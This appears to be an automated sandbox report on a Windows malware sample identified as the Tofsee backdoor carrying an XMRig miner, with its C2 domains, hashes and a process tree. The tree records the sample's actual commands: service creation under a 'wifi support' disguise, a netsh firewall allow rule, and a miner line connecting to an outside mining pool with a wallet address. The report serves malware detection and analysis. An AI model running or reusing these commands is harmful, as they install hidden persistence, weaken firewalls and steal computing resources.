Analysis

  • max time kernel
    189s
  • max time network
    193s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2022, 06:55

General

  • Target
    file.exe
  • Size 147KB
  • Sample221127-hpsdeagc24
  • SHA256 0552a33ea35a355caab2c519118dc5b72b7d7ea3d17e667ba7d5dd0707f99ed5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1736
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rwngylvj\
      2⤵
        PID:4780
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rgurkqmp.exe" C:\Windows\SysWOW64\rwngylvj\
        2⤵
          PID:4688
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rwngylvj binPath= "C:\Windows\SysWOW64\rwngylvj\rgurkqmp.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:532
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rwngylvj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2812
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rwngylvj
          2⤵
          • Launches sc.exe
          PID:3468
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3980
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1736 -s 580
          2⤵
          • Program crash
          PID:1744
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1736 -ip 1736
        1⤵
          PID:204
        • C:\Windows\SysWOW64\rwngylvj\rgurkqmp.exe
          C:\Windows\SysWOW64\rwngylvj\rgurkqmp.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:212
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4704
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3368
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 212 -s 520
            2⤵
            • Program crash
            PID:3692
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 212 -ip 212
          1⤵
            PID:4224

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                rgurkqmp.exe

                • Path C:\Users\Admin\AppData\Local\Temp\rgurkqmp.exe
                • Size 12.7MB
                • SHA256 8033feb0cd38823523d746d23c97cedf1d868632e610449ae26584aa478da22e
                • MD5 SHA1 SHA512 SSDEEP

                rgurkqmp.exe

                • Path C:\Windows\SysWOW64\rwngylvj\rgurkqmp.exe
                • Size 12.7MB
                • SHA256 8033feb0cd38823523d746d23c97cedf1d868632e610449ae26584aa478da22e
                • MD5 SHA1 SHA512 SSDEEP

                memory/212-148-0x0000000000400000-0x000000000045A000-memory.dmp

                memory/212-147-0x0000000000569000-0x0000000000579000-memory.dmp

                memory/212-153-0x0000000000400000-0x000000000045A000-memory.dmp

                memory/1736-136-0x0000000002190000-0x00000000021A3000-memory.dmp

                memory/1736-132-0x00000000006ED000-0x00000000006FD000-memory.dmp

                memory/1736-137-0x0000000000400000-0x000000000045A000-memory.dmp

                memory/1736-135-0x00000000006ED000-0x00000000006FD000-memory.dmp

                memory/1736-146-0x0000000000400000-0x000000000045A000-memory.dmp

                memory/1736-134-0x0000000000400000-0x000000000045A000-memory.dmp

                memory/1736-133-0x0000000002190000-0x00000000021A3000-memory.dmp

                memory/3368-180-0x0000000000C70000-0x0000000000D61000-memory.dmp

                memory/3368-175-0x0000000000C70000-0x0000000000D61000-memory.dmp

                memory/4704-154-0x0000000000160000-0x0000000000175000-memory.dmp

                memory/4704-155-0x0000000000160000-0x0000000000175000-memory.dmp

                memory/4704-156-0x0000000002000000-0x000000000220F000-memory.dmp

                memory/4704-159-0x0000000000F00000-0x0000000000F06000-memory.dmp

                memory/4704-162-0x00000000017F0000-0x0000000001800000-memory.dmp

                memory/4704-165-0x00000000029F0000-0x00000000029F5000-memory.dmp

                memory/4704-168-0x0000000007540000-0x000000000794B000-memory.dmp

                memory/4704-171-0x0000000007A90000-0x0000000007A97000-memory.dmp

                memory/4704-150-0x0000000000160000-0x0000000000175000-memory.dmp